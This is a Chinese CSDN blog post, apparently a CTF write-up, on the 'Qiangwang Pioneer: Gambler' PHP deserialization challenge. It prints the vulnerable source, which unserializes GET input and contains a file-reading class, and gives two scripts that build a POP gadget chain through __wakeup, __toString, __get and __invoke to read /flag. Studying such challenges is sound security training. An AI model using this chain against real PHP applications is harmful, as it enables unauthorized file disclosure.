审 强网先锋 赌徒 来学反序列化

本文探讨了如何通过在PHP中利用`__wakeup()`、`__get()`和`__invoke()`等魔术方法,实现动态序列化与反序列化过程中的安全性和信息获取。通过实例演示了如何利用这些技巧来学习和理解反序列化的过程,并展示了如何在Start、Info和Room类中巧妙地触发这些方法以达到特定目的。
摘要由CSDN通过智能技术生成

审 强网先锋 赌徒 来学反序列化

<meta charset="utf-8">
<?php
error_reporting(1);
class Start{
        public $name='guest';
        public $flag='syst3m("cat 127.0.0.1/etc/hint");';
        public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }
    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }
    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}
class Info{
        private $phonenumber=123123;
        public $promise='I do';
        public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room{
        public $filename='/flag';
        public $sth_to_set;
        public $a='';
        public function __get($name){
        $function = $this->a;
        return $function();
    }
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }
    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}
    if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
    }else{
    $hi = new Start();
    }
?>

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

方案1$st = new Start(); // 新建对象st
$ro = new Room(); // 新建对象ro
$ro->a = $ro; // 调用room类中的a属性并将对象本身作为a的值  有利于触发__invoke()
$in = new Info(); // 新建对象in
$in->file['filename'] = $ro; // 当对象被当作一个字符串使用时:__toString,
// return $this->file['filename']->ffiillee['ffiilleennaammee'];
// 以上语句变为 return $ro->ffiillee['ffiilleennaammee']
// $ro->ffiillee['ffiilleennaammee'] 语句在执行时,从不可访问的属性读取数据会自动触发__get魔术函数,触发Room的__get()方法(私有变量或不存在的变量均会触发__get()方法)
// $ro->a=$ro; 指向了Room对象自己。在__get()方法执行时,__GET方法: public function __get($name){ $function = $this->a; return $function(); } , 类的对象被在GET中调用,所以会自动触发__invoke()
//对象执行函数调用触发__invoke()后,获取flag文件的Base64编码
$st->name = $in;  //指回Start中各种函数执行
echo serialize($st);
方案2:
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值